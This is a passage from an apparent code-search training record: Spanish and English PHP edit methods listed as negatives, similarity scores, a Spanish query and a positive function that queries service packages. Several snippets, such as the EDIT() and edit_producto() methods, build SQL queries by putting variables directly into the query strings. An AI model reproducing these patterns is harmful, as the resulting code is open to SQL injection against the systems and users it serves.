$status_asp=$aspiranteGeneral->status_asp;\n $captura_generales = str_contains($status_asp, '2');\n $captura_socioeco = str_contains($status_asp, '3');\n $captura_salud = str_contains($status_asp, '4');\n\n\n\n return view('aspirante_generals.edit',compact('entidadesFederativas','paises','municipios','carrerasOf','prepas','carr','edo_civil','zona_proc','aspiranteGeneral','modo','folio','periodo','modalidad','cve_pago','fechaLimite','importe','idSoc','idSal','captura_generales','captura_socioeco','captura_salud','escuela_procedencia'));\n }", "public function editAction() {\n\t\t$id = $this->getInput('id');\n\t\t$info = Browser_Service_Recsite::getRecsite(intval($id));\t\t\n\t\t$this->assign('info', $info);\n\t\t$this->assign('models', $this->models);\n\t\t$this->assign('types', $this->types);\n\t}", "public function peditberita(){\n\t\t$data_sender = $this->input->post('data_sender');\n//\t\tprint_r($data_sender);die();\n\t\t$flag = array('id_user'=>$this->input->post('oid'));\n\t\t$edit = array(\n\t\t\t'nama' => $this->input->post('nnama'),\n\t\t\t'email' => $this->input->post('nemail'),\n\t\t\t'no_hp' => $this->input->post('nhp'),\n\t\t\t'id_role' => $this->input->post('nrole')\n\t\t);\n\t\t$this->Allcrud->editData('user',$edit,$flag);\n\t}", "function EDIT() {\n\t\t// se construye la sentencia de busqueda de la tupla en la bd\n\t\t$sql = \"SELECT * FROM ENTREGA WHERE (login = '$this->login' AND IdTrabajo = '$this->IdTrabajo')\";\n \n\t\t// Variable que almacena la sentencia sql\n\t\t$result = $this->mysqli->query( $sql );\n\t\t// si el numero de filas es igual a uno es que lo encuentra\n\t\tif ( $result->num_rows == 1 ) { // se construye la sentencia de modificacion en base a los atributos de la clase\n\t\t\t//Si la ruta no es vacia actualiza la entrega\n if($this->Ruta <> null){\n //Variable que almacena la sentencia sql\n\t\t\t\t$sql = \"UPDATE ENTREGA SET \n\t\t\t\t\tlogin = '$this->login',\n\t\t\t\t\t IdTrabajo='$this->IdTrabajo',\n Alias='$this->Alias',\n Horas='$this->Horas',\n Ruta='$this->Ruta'\n\t\t\t\tWHERE ( login = '$this->login' AND IdTrabajo = '$this->IdTrabajo'\n\t\t\t\t)\";//se construye la sentencia sql de modificacion\n\n }\n //Si la ruta es vacia\n else{\n //Variable que almacena la sentencia sql\n $sql = \"UPDATE ENTREGA SET \n\t\t\t\t\tlogin = '$this->login',\n\t\t\t\t\t IdTrabajo='$this->IdTrabajo',\n Alias='$this->Alias',\n Horas='$this->Horas'\n\t\t\t\tWHERE ( login = '$this->login' AND IdTrabajo = '$this->IdTrabajo'\n\t\t\t\t)\";//se construye la sentencia sql de modificacion\n \n }\n\t\t\t// si hay un problema con la query se envia un mensaje de error en la modificacion\n\t\t\tif ( !( $resultado = $this->mysqli->query( $sql ) ) ) {\n\t\t\t\treturn 'Error en la modificación';\n\t\t\t}\n \n // si no hay problemas con la modificación se indica que se ha modificado\n else { \n\t\t\t\treturn 'Modificado correctamente';\n\t\t\t}\n // si no se encuentra la tupla se manda el mensaje de que no existe la tupla\n\t\t} else \n\t\t\treturn 'No existe en la base de datos';\n\t}", "public function edit()\n\t{\n\t\t\n\t\t$sql = SqlQuery::getInstance();\n\t\t\n\t\t$tbl = new AbTable(\"SELECT u.first_name, u.last_name, u.zip, c.* FROM IBO_camp c JOIN user u ON u.id = c.user_id\",array('user_id'));\n\t\t\n\t\treturn $tbl->getHtml();\n\t\t\n\t\t\n\t}", "public function edit(Resena $resena)\n {\n //\n }", "public function add_edit_form(){\n\n $_id = $_GET['id']; \n $tblName = $this->get_tbl_name();\n\n $source = DB::table($tblName)->where('id',$_id)->get();\n\n $source_first = $source[0];\n\n // mhtml::dump($source_first);\n\n\n $struct = $this->struct;\n\n mhtml::startForm(\"edit\",\"backend_edit.php\");\n\n // loop througth fields\n foreach ($this->edit as $key => $field) {\n\n $kind = $struct[$field] ;\n if($kind == 'string') {$kind = 'text' ;} \n $value = $source_first[$field];\n\n mhtml::field($this->virtual_names[$field],$field,$kind,$value);\n\n }\n\n // add secret field for password\n if(isset($this->edit_secret)){\n if($this->edit_secret == true ){\n\n Logger::warn(\"we use one secret only on secret[0] in secret array in model\");\n $virtual_pass = $this->virtual_names[$this->secret[0]];\n mhtml::field($virtual_pass,$this->secret[0],'password');\n\n }\n }\n\n \n\n\n\n\n // mhtml::field('user name ','user_name','text',\"mohammed\");\n // mhtml::field('passwording','password','password');\n // mhtml::field('age','age','number');\n\n mhtml::field_id_model();\n\n mhtml::submitForm();\n\n mhtml::endForm();\n\n }", "public function edit(Contratos $contratos)\n {\n //\n }", "function EDIT(){\n if(($this->DNI == '')){\n return 'Deportista vacio, introduzca un DNI';\n }else{\n $sql = $this->mysqli->prepare(\"SELECT * FROM deportista WHERE DNI = ?\");\n $sql->bind_param(\"s\", $this->DNI);\n $sql->execute();\n \n $resultado = $sql->get_result();\n \n if(!$resultado){\n return 'No se ha podido conectar con la BD';\n }else if($resultado->num_rows == 1){\n $sql = $this->mysqli->prepare(\"UPDATE deportista SET Nombre = ?, Edad = ?, Apellidos = ?, Contrasenha = ?, Cuota_socio=?, rolAdmin = ?, rolEntrenador = ?, Sexo=? WHERE DNI = ?\");\n $sql->bind_param(\"sissiiiss\", $this->Nombre, $this->Edad, $this->Apellidos, $this->Contrasenha, $this->Cuota_socio,$this->rolAdmin,$this->rolEntrenador, $this->Sexo,$this->DNI);\n $resultado = $sql->execute();\n \n if(!$resultado){\n return 'Ha fallado la actualización de deportista';\n }else{\n return 'Modificación correcta';\n }\n }else{\n return 'Deportista no existe en la base de datos';\n }\n }\n }", "public function edit_toko(){\n\t}", "public function edit(DetalleCuentasArrendatario $detalleCuentasArrendatario)\n {\n //\n }" ]
[ "0.73012656", "0.7291292", "0.724872", "0.72244614", "0.7185394", "0.71826017", "0.71561784", "0.7149788", "0.7129568", "0.71202576", "0.71077204", "0.7021593", "0.7003085", "0.69998276", "0.69971097", "0.6978638", "0.6978638", "0.6970921", "0.6959126", "0.69529355", "0.6944738", "0.69156283", "0.6908389", "0.69043267", "0.68616676", "0.68610007", "0.68573743", "0.68473536", "0.68473536", "0.68473536", "0.68473536", "0.68473536", "0.68473536", "0.68473536", "0.68473536", "0.68473536", "0.68473536", "0.68473536", "0.68473536", "0.6846268", "0.684217", "0.684217", "0.684217", "0.68407285", "0.6836977", "0.68265605", "0.6822622", "0.6820685", "0.6793854", "0.6787685", "0.6780574", "0.67802316", "0.67695254", "0.6769089", "0.6761714", "0.67614233", "0.67582136", "0.67577714", "0.67558837", "0.67558837", "0.67558837", "0.67437273", "0.67363304", "0.6735492", "0.6729397", "0.6716794", "0.67132133", "0.6712292", "0.6712292", "0.6712292", "0.6712292", "0.6711932", "0.67104024", "0.67053986", "0.66985863", "0.66831464", "0.66789025", "0.66787976", "0.6674944", "0.6673711", "0.6666115", "0.6658155", "0.6651838", "0.6640355", "0.6636646", "0.66346157", "0.6633749", "0.6618119", "0.6618119", "0.6616911", "0.6615012", "0.66087574", "0.6601265", "0.6598637", "0.659606", "0.6593099", "0.65924346", "0.6588263", "0.6587618", "0.65839344", "0.65835136" ]
0.0
-1
metodo que sirve para hacer obtener datos en el editar
public function getTableServicios($id) { if(! intval( $id )){ return false; } $id=$this->db->real_escape_string($id); $sql= " SELECT ss.id,ss.codigo,ss.nombre,s.nombre paquete, s.descripcion FROM servicio_paquete sp INNER JOIN servicio s on s.id=sp.id_serviciopaquete INNER JOIN servicio ss on ss.id=sp.id_servicio WHERE sp.id_serviciopaquete=$id;"; $res=$this->db->query($sql); $set = array(); if(!$res){ die("Error getting result getAllArr".$sql); } else{ while ($row = $res->fetch_assoc()) { $set[] = $row; } } return $set; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function editar ()\n {\n try {\n // Define a ação de editar\n $acao = Orcamento_Business_Dados::ACTION_EDITAR;\n \n if ( $this->_requisicao->isGet () ) {\n // Retorna parâmetros informados via get, após validações\n $parametros = $this->trataParametroGet ( 'cod' );\n \n // Busca os dados a exibir, após validações\n $registro = $this->trataRegistro ( $acao, $parametros );\n \n // Cria o formulário populado com os dados\n $formulario = $this->popularFormulario ( $acao, $registro );\n \n // Faz transformações no formulário, se necessário\n $formulario = $this->transformaFormulario ( $formulario, $acao );\n \n // Bloqueia a edição de campos de chave primária (ou composta)\n $this->bloqueiaCamposChave ( $formulario );\n \n // Bloqueia todos os campos\n $this->bloqueiaCamposTodos ( $acao, $formulario, $registro );\n \n // Exibe o formulário\n $this->view->formulario = $formulario;\n } else {\n // Cria o formulário vazio\n $formulario = $this->retornaFormulario ( $acao );\n \n // Grava o novo registro\n $this->gravaDados ( $acao, $formulario );\n }\n } catch ( Exception $e ) {\n // Gera o erro\n throw new Zend_Exception ( $e->getMessage () );\n }\n }", "public function edit() {\n\t\t\t\n\t\t}", "protected function editar()\n {\n }", "public function edit(){\n $carros = array();\n\n $nomes[] = 'Astra';\n $nomes[] = 'Caravan';\n $nomes[] = 'Ipanema';\n $nomes[] = 'Kadett';\n $nomes[] = 'Monza';\n $nomes[] = 'Opala';\n $nomes[] = 'Veraneio';\n\n $this->set('carros',$nomes);\n }", "public function edit(){\r\n\t\t//$this->auth->set_access('edit');\r\n\t\t//$this->auth->validate();\r\n\r\n\t\t//call save method\r\n\t\t$this->save();\r\n\t}", "public function editar(){\n $cedula = $_GET['cedula'];\n //2. usar el modelo para traer de la BD el estudiante\n $estudiante = $this->model->buscarEstudiante($cedula);\n //3. llamar a la vista de editar\n require_once 'view/include/header.php';\n require_once 'view/estudiante/editar.php';\n require_once 'view/include/footer.php';\n }", "public function edita()\n\t {\t\n\t\t$id=$_REQUEST['id'];\n\t\t$car=$_REQUEST['car'];\n\t\t$nom=$_REQUEST['nom'];\n\t\t$cod=$_REQUEST['cod'];\n\t\t$niv=$_REQUEST['niv'];\n\t\t$obs=$_REQUEST['obs'];\n\t\t$est=$_REQUEST['est'];\n\t\t\t//$usu=$_REQUEST['usu'];\n\t\t$cur_data=array();\n\t\t$cur_data['id_curso']=$id;\n\t\t$cur_data['id_carrera']=$car;\n\t\t$cur_data['nombre']=$nom;\n\t\t$cur_data['codigo']=$cod;\n\t\t$cur_data['nivel']=$niv;\n\t\t$cur_data['observacion']=$obs;\n\t\t$cur_data['estado']=$est;\n\t\t\n\t\tprint_r($cur_data);\n\t\t$curso=new cursos;\n\t\t$curso->edit($cur_data);\n\t\t$data1=$curso->lista();\n\t\t$this->principal();\n\t }", "public function edit()\n\t{\n\t\t//\n\t}", "public function edit( )\r\n {\r\n //\r\n }", "private function editar_get()\n {\n $item = $this->ObtenModelPostId();\n\t\t$lModel = new CicloModel(); \n \n //Pasamos a la vista toda la información que se desea representar\n\t\t$data['TituloPagina'] = \"Editar un grupo\";\n\t\t$data[\"Model\"] = $item;\n\t\t$data[\"ComboCiclos\"] = $lModel->ObtenerTodos();\n \n //Finalmente presentamos nuestra plantilla\n\t\theader (\"content-type: application/json; charset=utf-8\");\n $this->view->show($this->_Nombre.\"/editar.php\", $data);\n\t}", "public function edita()\n\t {\t\n\t\t$car=$_REQUEST['car'];\n\t\t$per=$_REQUEST['per'];\n\t\t$logi=$_REQUEST['logi'];\n\t\t$pas=$_REQUEST['pas'];\n\t\t$obs=$_REQUEST['obs'];\n\t\t$est=$_REQUEST['est'];\n\t\t\t//$usu=$_REQUEST['usu'];\n\t\t$user_data=array();\n\t\t$user_data['carnet']=$car;\n\t\t$user_data['login']=$logi;\n\t\t$user_data['password']=$pas;\n\t\t$user_data['estado']=$est;\n\t\t$user_data['observacion']=$obs;\n\t\t$user_data['perfil']=$per;\n\t\t\n\t\t//print_r($user_data);\n\t\t$usuario=new Usuarios;\n\t\t$usuario->edit($user_data);\n\t\t$data1=$usuario->lista();\n\t\t$this->principal();\n\t }", "public function edit()\n\t{\n\t\t\n\t}", "public function getEdit()\n\t{\n\t}", "public function editar()\n {\n\t\tif($this->_Method == \"POST\")\n\t\t{\n\t\t\t$this->editar_post();\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->editar_get();\n\t\t}\n }", "public function editar()\n {\n }", "public function edit()\r\n {\r\n //\r\n }", "public function edit()\r\n {\r\n //\r\n }", "function edit(){\n\t\t$arr = $this->uri->uri_to_assoc(3);\n\t\t$data['arr'] = $arr['id'];\n\t\t\n\t\t/* membuat value */\n\t\t$this->user->setID($arr['id']);\n\n\t\t/* fungsi ambil data */\n\t\t$result = $this->user->ambil_data();\n\n\t\t/* data dropdown */\n\t\t$data['role'] = role_dropdown();\n\t\t$data['result'] = $result;\n\n\t\t/* load view */\n\t\t$this->template->write_view('edit', $data);\n\t}", "public function edit(){\n\n //los numero no van entrecomillas\n \n $sql=\"UPDATE pedidos set estado='{$this->getEstado()}'\";\n \n $sql.=\"where id={$this->getId()};\";\n\n //ahora insertamos una consulta \n $save = $this->db->query($sql);\n\n $result = false; //este es el resultado por defecto\n //si el $save da true (en otras palabras no esta vacio y los datos se llenaron correctamente)\n if($save){\n $result=true;\n }\n return $result;\n }", "public function edit($id)\n\t{\n\t\t$genero = Genero::lists('nombre', 'codigo');\n\t\t$datos['genero'] = $genero;\n\n\t\t$eps = Eps::lists('nombre', 'id');\n\t\t$datos['eps'] = $eps;\n\n\t\t$regimenss = Regimenss::lists('nombre', 'codigo');\n\t\t$datos['regimenss'] = $regimenss;\n\n\t\t$tiposmuestras = Tiposmuestras::lists('nombre', 'codigo');\n\t\t$datos['tiposmuestras'] = $tiposmuestras;\n\n $lugaresdiagnostico = Lugaresdiagnostico::lists('nombre', 'codigo');\n $datos['lugaresdiagnostico'] = $lugaresdiagnostico;\n\n $tratamientos = Tratamientos::lists('nombre', 'codigo');\n $datos['tratamientos'] = $tratamientos;\n\n $meses = Meses::lists('nombre', 'id');\n $datos['meses'] = $meses;\n\n $barrios = Barrios::lists('nombre', 'id');\n $datos['barrios'] = $barrios;\n\n //Obtener el modelo principal en base al codigo(id)\n $registropoblacional = Registropoblacional::findOrFail($id);\n $registropoblacional->fechanacimiento = $registropoblacional->getFechaNacimientoLargaAttribute();\n $registropoblacional->fechadiagnostico = $registropoblacional->getFechaDiagnosticoLargaAttribute();\n $registropoblacional->fechaultcontrolmed = $registropoblacional->getFechaUltControlMedLargaAttribute();\n\n $datos['registropoblacional'] = $registropoblacional;\n\n\n // Obtener la localidad y estrato seleccionados\n $barrio = Barrios::find($registropoblacional->residenciahabitual);\n if(isset($barrio)){\n $localidad = $barrio->localidad;\n $estrato = $barrio->estrato;\n }else{\n $localidad = \"\";\n $estrato = \"\";\n }\n $datos['ubicacion'] = ['localidad' => $localidad, 'estrato' => $estrato];\n\n\n return view('admin.registropoblacional.edit', $datos);\n // $date = Carbon::now('America/Bogota');\n // dd($date->format('d-m-Y'));\n\t}", "public function editar()\n {\n if ( isset($_GET['recno']) && !empty($_GET['recno']) )\n {\n $SA1 = $this->objPDO->prepare('SELECT * FROM SA1010 WHERE R_E_C_N_O_ = :recno');\n $SA1->bindValue(':recno', $_GET['recno']);\n $SA1->execute();\n \n return $SA1->fetchAll();\n }\n else if ( isset($_POST['nome']) && !empty($_POST['nome']) )\n {\n $SA1 = $this->objPDO->prepare('UPDATE SA1010 SET A1_NOME = :nome, A1_NREDUZ = :nreduz, A1_MUN = :cidade WHERE R_E_C_N_O_ = :recno');\n $SA1->bindValue(':nome', $_POST['nome']);\n $SA1->bindValue(':nreduz', $_POST['nreduz']);\n $SA1->bindValue(':cidade', $_POST['cidade']);\n $SA1->bindValue(':recno', $_POST['recno']);\n $SA1->execute();\n }\n \n header('Location: /'); \n }", "public function edit()\n {\n \n }", "public function editar()\n {\n if (AuthHelper::obtenerUsuarixAdmin() == 2){\n\n $id = $_POST['pais'];\n $nombre = $_POST['name'];\n \n if (!empty($_POST['name'])) {\n \n //busco en la tabla de paises alguno que coincida con el nombre puesto por el usuario.\n $paisDb = $this->modelpaises->obtenerPais($nombre);\n //y si no se obtuvo un pais en la base de datos que coincida\n //con lo ingresado por el usuario ahi si lo agrego.\n if (empty($paisDb)) {\n \n $this->modelpaises->editar($id, $nombre);\n header(\"Location: \" . BASE_URL . 'home');\n } else\n $this->mostrarEditar($id, \"Ya existe un pais con ese nombre\");\n } else\n $this->mostrarEditar($id, \"Error,nombre vacio\");\n } else {\n $this->view->mostrarError(\"Acceso denegado\");\n }\n }", "public function modelDoEdit(){\n\t\t\t$maphongban = isset($_GET[\"maphongban\"])&&is_numeric($_GET[\"maphongban\"])?$_GET[\"maphongban\"]:0;\n\t\t\t$tenphongban = $_POST[\"tenphongban\"];\n\t\t\t//lay bien ket noi de thao tac csdl\n\t\t\t$conn = Connection::getInstance();\n\t\t\t//chuan bi truy van\n\t\t\t$query = $conn->prepare(\"update phongban set tenphongban=:ten where maphongban=:ma\");\n\t\t\t$query->execute(array(\"ten\"=>$tenphongban,\"ma\"=>$maphongban));\n\t\t}", "public function editar(){\n if(!isLoggedIn()){\n redirect('usuarios/login');\n }\n //check User Role -- Only ADMINISTRADOR allowed\n if(!checkLoggedUserRol(\"ADMINISTRADOR\")){\n redirect('dashboard');\n }\n \n if($_SERVER['REQUEST_METHOD'] == 'POST'){\n $data = [\n 'especialidadToEditId' => trim($_POST['especialidadToEditId']),\n 'especialidadToEditNombre' => trim($_POST['especialidadToEditNombre'])\n ];\n \n // Validar carga de especialidadToEditId\n if(empty($data['especialidadToEditId'])){\n $data['especialidadToEdit_error'] = 'No se ha seleccionado la especialidad a editar';\n }\n\n // Validar carga de especialidadToEditId\n if(empty($data['especialidadToEditNombre'])){\n $data['especialidadToEdit_error'] = 'No se permite editar a un título vacío';\n }\n\n // Asegurarse que no haya errores\n if(empty($data['especialidadToEdit_error'])){\n // Crear especialidad\n if($this->especialidadModel->actualizarEspecialidad($data)){\n flash('especialidad_success', 'Especialidad editada exitosamente');\n redirect('especialidades');\n }\n else{\n die('Ocurrió un error inesperado');\n }\n }\n else{\n flash('especialidad_error', $data['especialidadToEdit_error'], 'alert alert-danger');\n redirect('especialidades');\n }\n }\n }", "public function edit()\n {\n \n \n }", "function edit($param) {\n extract($param);\n $sql = \"UPDATE operario SET fk_usuario='$id_usuario', nombres='$nombres', apellidos='$apellidos' WHERE fk_usuario='$id_usuario';\n UPDATE usuario SET id_usuario='$id_usuario', direccion='$direccion', telefonos='$telefonos', correos='$correos', contrasena='$contrasena' WHERE id_usuario = '$id_usuario'; \"; // <-- el ID de la fila asignado en el SELECT permite construir la condición de búsqueda del registro a modificar\n $conexion->getPDO()->exec($sql);\n echo $conexion->getEstado();\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n //\n }", "public function edit()\n {\n \n }", "public function edit()\n {\n \n }", "public function edit()\n {\n \n }", "public function editAction() {}", "public function editarAction()\n {\n $id = (int)$this->_request->getParam('id', 0);\n\n /* Traigo el formulario*/\n $form = $this->_form->getFrmEdita();\n $form->setAction($this->view->baseUrlController . '/editar/id/'. $id .'/');\n\n if ($this->_request->isPost()) { /* Si se ha submiteado el formulario, se procede a guardar los datos */\n \n /* Como recibo el Id del Movimiento, entonces obtengo el id de la tabla Documento para poder editarlo */\n $objMovimiento = new Gidoc_Model_MovimientoMapper();\n $movimiento = $objMovimiento->getById($id);\n $id = $movimiento->documento_id;\n \n /* Recibo los datos del formulario por _POST */\n $formData = $this->_request->getPost();\n\n /* Lleno el formulario con los datos recibidos por _POST */\n $form->populate($formData); \n\n /* Verifico valores que llegan desde el formulario */\n $numero = $form->numero->getValue();\n if ($numero == ''){\n $numero = 0;\n }\n \n \n $expediente_id = $form->expediente_id->getValue();\n if ($expediente_id == ''){\n $expediente_id = 0;\n }\n \n $procedimiento_id = $form->procedimiento_id->getValue();\n if ($procedimiento_id == ''){\n $procedimiento_id = NULL;\n }\n \n \n /* Creo mi objeto */\n $data = array('id' => $id,\n 'expediente_id' => $expediente_id, \n 'dependencia_id' => $form->dependencia_id->getValue(),\n 'firma' => $form->firma->getValue(),\n 'cargo' => $form->cargo->getValue(),\n 'tipo_documento_id' => $form->tipo_documento_id->getValue(),\n 'fecha_documento' => $form->fecha_documento->getValue(),\n 'numero' => $numero,\n 'siglas' => $form->siglas->getValue(),\n 'asunto' => $form->asunto->getValue(),\n 'anexos' => $form->anexos->getValue(), \n 'procedimiento_id' => $procedimiento_id, \n 'dependencia_registra_id' => $form->dependencia_registra_id->getValue(), \n 'usuario_id' => $this->_usuario->id \n );\n\n try {\n /* Actualizo mi objeto */\n $this->_modelo->save($data);\n } catch(Exception $ex) {\n // echo 'error|'.$ex->getMessage();\n \n /* Para mostrar el error en el Flash Messenger y mantener los datos del formulario */\n $this->_helper->FlashMessenger(array('error' => $ex->getMessage())); \n \n $form->populate($formData);\n $this->view->form = $form;\n return $this->render('editar');\n /* */\n \n }\n\n $this->_helper->redirector('poratender', 'documentos', 'gidoc'); \n \n } else { /* Se llama al formulario */\n \n /* Como recibo el Id del Movimiento, entonces obtengo el id de la tabla Documento para poder editarlo */\n $objMovimiento = new Gidoc_Model_MovimientoMapper();\n $movimiento = $objMovimiento->getById($id);\n $id = $movimiento->documento_id;\n \n /* Obtengo el objeto de la tabla Documento */\n $obj = $this->_modelo->getById($id);\n\n if (null === $obj) {\n //$this->_redirect('/');\n }\n /* Paso los campos del objeto a un array */\n $arrayData = $obj->toArray();\n\n $date = new Zend_Date($arrayData['fecha_documento'], Zend_Date:: ISO_8601);\n\t $fecha = $date->toString('dd/MM/yyyy');\n\t $arrayData['fecha_documento'] = $fecha;\n \n if($arrayData['procedimiento_id'] == null ){\n $arrayData['procedimiento_id'] = ''; \n }\n \n /* Creo variable para poder ocultar el botón guardar, si el que edita no es el dueño del registro */\n $this->view->usua_idregistro = $arrayData['usuario_id'];\n\n /* Variables para poder subir archivos */\n $this->view->id = $id;\n /* Para el Grid archivos */\n /* Configuración del jqgrid */\n $this->view->archivos_colNames = \"'Archivo',''\";\n $this->view->archivos_colModel = \"{name:'descripcion', index:'descripcion', width:50},\n {name:'opcion', index:'opcion', width:10}\";\n $this->view->archivos_sortName = \"descripcion\"; /* Nombre del campo de la tabla por la que debe ser ordenado al cargar los datos. Generalmente es el pk de la tabla */\n \n /* Fin: Variables para poder subir archivos */\n \n /* LLeno los campos del formulario con los datos del array */\n $form->populate($arrayData);\n $this->view->form = $form;\n //$this->_helper->layout->disableLayout();\n $this->render('editar'); \n\n }\n }", "public function edit($data)\n {\n $this->pagamento = $data['pagamento'];\n $this->sconto = $data['sconto'];\n $this->save();\n }", "public function editar()\n {\n //Pega o id a partir da URL\n $id = $this->uri->segment(3);\n\n //Se o id for nulo, redireciona para a página inicial\n if(is_null($id))\n redirect();\n\n //Utitiliza o método getById para obter as informações da empresa\n $resultado = $this->EmpresasModel->getById($id);\n\n $dados['empresaid'] = $resultado; \n\n //Carrega a tela passando os dados da consulta\n $this->load->view(\"Empresas/altera\", $dados);\n }", "public function edit($id_cliente){}", "public function edit() {\n }", "public function edit($id_peminjaman)\n {\n //\n\n\n }", "public function editar(){\n\t\t\n\t\t$this->form_validation->set_rules('resposta', 'RESPOSTA', 'trim');\n\t\tif ($this->form_validation->run()==TRUE):\n\t\t$dados = elements(array('resposta'), $this->input->post());\n\t\t$this->Comentarios->do_update($dados, array('id_comentario'=>$this->input->post('idcomentario')));\n\t\tendif;\n\t\tset_tema('titulo', 'Resposta de Coment&aacute;rio');\n\t\tset_tema('conteudo', load_modulo('Comentarios', 'editar'));\n\t\tload_template();\n\t}", "public function edit($id)\n {\n $libro = Libro::find($id);\n\n $libro->autores;\n return $libro; //muestra los datos del libro con su autor \n }", "protected function _edit(){\n\t\treturn $this->_editForm();\n\t}", "function edit()\n { \n // check if the empresa exists before trying to edit it\n //if(isset($_POST)\n $id=$this->input->post('id');\n\n //var_dump($data);\n \n $data['db'] = $this->Tipos_libro_model->get_tipos_libro($id);\n if(isset($data['db'][$this->id_tabla]))\n {\n echo json_encode($data);\n }\n else\n show_error('The empresa you are trying to edit does not exist.');\n\n }", "function editar($datos){\r\n\t\t$array = array(\r\n\t\t\t'name' => $datos[\"nombre\"],\r\n\t\t\t'hora_inicio' => $datos[\"horainicio\"],\r\n\t\t\t'hora_final' => $datos[\"horafinal\"]);\r\n\t\t$this->db->where('idUsuario', $datos[\"idUsuario\"]);\r\n\t\t$this->db->update('turnos_laborales', $array);//Se llama a la funcion de insertar datos y se le pasa el array asociativo\t\t\t\r\n\t\t\r\n\t}", "public function edit($id)\n {\n $datadiri = mysqli_query($this->koneksi,\"select * from formulir where id='$id'\");\n return $datadiri;\n }", "public function editar(){\n log_message('DEBUG', '#TRAZA | #TRAZ-PROD-TRAZASOFT | Etapa | editar()');\n $id = $this->input->get('id'); // batch_id\n\n $data['tarea'] = $this->Etapas->validarPedidoMaterial($id);\n\n $this->load->model(ALM . 'Articulos');\n #$data['articulos'] = $this->Articulos->obtenerXTipos(array('Proceso', 'Final'));\n\n $data['accion'] = 'Editar';\n $data['etapa'] = $this->Etapas->buscar($id)->etapa;\n $data['idetapa'] = $data['etapa']->id;\n\n #$data['materias'] = $this->Articulos->obtenerXTipos(array('Proceso', 'Final', 'Materia Prima'));\n // $data['productos'] = $this->Articulos->obtenerXTipos(array('Proceso', 'Producto'));\n\n // trae tablita de materia prima Origen y producto\n $data['matPrimas'] = $this->Etapas->getPedido($id)->articulos->articulo;\n\n $data['detaEmpaque'] = $this->Etapas->getPedidoEmpaque($id)->articulos->articulo;\n #Obtener Articulos por Etapa\n $data['productos_etapa'] = $this->Etapas->obtenerArticulos($data['etapa']->etap_id)['data'];\n\n $data['productos_salida_etapa'] = $this->Etapas->getSalidaEtapa($data['etapa']->etap_id)['data'];\n $data['productos_entrada_etapa'] = $this->Etapas->getEntradaEtapa($data['etapa']->etap_id)['data'];\n\n $data['op'] = $data['etapa']->titulo;\n $data['lang'] = lang_get('spanish', 4);\n\n $data['establecimientos'] = $this->Establecimientos->listar()->establecimientos->establecimiento;\n $data['fecha'] = $data['etapa']->fecha;\n\n if ($data['etapa']->tiet_id == 'prd_tipos_etapaFraccionamiento') {\n // trae lotes segun entrega de materiales de almacen.(81)\n $data['recipientes'] = $this->Recipientes->obtener('DEPOSITO', 'TODOS', $data['etapa']->esta_id)['data'];\n $data['ordenProd'] = $data['etapa']->orden;\n $data['articulos_fraccionar'] = $this->Etapas->getEntradaEtapa($data['etapa']->etap_id)['data'];\n $data['articulos_fracc_salida'] = $this->Etapas->getSalidaEtapa($data['etapa']->etap_id)['data'];\n\n $this->load->view('etapa/fraccionar/fraccionar', $data);\n } else {\n $data['formulas'] = $this->Formulas->getFormulas()->formulas->formula;\n $data['tareas'] = []; //$this->Tareas->listar()->tareas->tarea;\n $data['templates'] = []; //$this->Templates->listar()->templates->template;\n $data['recursosmateriales'] = []; //$this->Recursos_Materiales->listar()->recursos->recurso;\n $data['rec_trabajo'] = $this->Recursos->obtenerXTipo('TRABAJO')['data'];\n $this->load->view('etapa/abm_editar', $data);\n }\n }", "function editar_producto(){\t\t\n\t\t$this->accion=\"Editando Datos del Producto\";\n\t\tif (isset($_POST['envio']) && $_POST['envio']==\"Guardar\" && isset($_GET['id']) && $_GET['id']!=\"\"){\n\t\t\t$id=$_GET['id'];\n\t\t\t$this->asignar_valores();\n\t\t\t$this->fecha=$this->convertir_fecha($this->fecha);\n\t\t\t$sql=\"UPDATE producto SET nombre_pro='$this->nombre', categoria_pro='$this->categoria', prioridad_pro='$this->prioridad', detal_pro='$this->detal', mayor_pro='$this->mayor', limite_pro='$this->limite', descripcion_pro='$this->descripcion', claves_pro='$this->claves', marca_pro='$this->marca',hotel_pro='$this->hotel',principal_pro='$this->principal' WHERE id_pro='$id'\";\n\t\t\t$consulta=mysql_query($sql) or die(mysql_error());\n\t\t\theader(\"location:/admin/producto/\");\n\t\t}else{\n\t\t $this->mostrar_producto();\n\t\t $sql=\"SELECT * FROM categoria ORDER BY prioridad_cat ASC\";\n\t\t $consulta=mysql_query($sql) or die(mysql_error());\n\t\t while ($resultado = mysql_fetch_array($consulta)){\n\t\t\t\t$this->mensaje=\"si\";\n\t\t\t\t$this->listado[] = $resultado;\n\t\t }\n\t\t}\n\t}", "public function edit()\n {\n }", "public function edit()\n {\n }", "public function edit()\n {\n }", "public function edit(Trabajo $trabajo)\n {\n //\n }", "function EDIT()\n{\n\t//si se cumple la condicion\n\tif ($this->Comprobar_atributos() === true){\n\t$sql = \"SELECT * FROM EDIFICIO WHERE CODEDIFICIO= '$this->codedificio'\";\n \n\n $result = $this->mysqli->query($sql);\n \n //si se cumple la condicion\n if ($result->num_rows == 1) { //Si existe el edificio lo editamos\n //actualizamos los datos\n\t$sql = \"UPDATE EDIFICIO\n\t\t\tSET \n\t\t\tCODEDIFICIO = '$this->codedificio',\n\t\t\tNOMBREEDIFICIO = '$this->nombreedificio',\n\t\t\tDIRECCIONEDIFICIO = '$this->direccionedificio',\n\t\t\tCAMPUSEDIFICIO = '$this->campusedificio' \n\t\t\tWHERE \n\t\t\tCODEDIFICIO= '$this->codedificio'\";\n\t//si se ha actualizado guardamos un mensaje de éxito en la variable resultado\n\tif ($this->mysqli->query($sql)) //Si la consulta se ha realizado correctamente, mostramos mensaje \n\t{\n\t\t$resultado = 'Actualización realizada con éxito';\n\t}\n\t//si no\n\telse //Si no, mostramos mensaje de error\n\t{\n\t\t$resultado = 'Error de gestor de base de datos';\n\t}\n\treturn $resultado;//devolvemos el mensaje\n}\n\t}//si no\n\telse{\n\t\treturn $this->erroresdatos;\n\t}\n}", 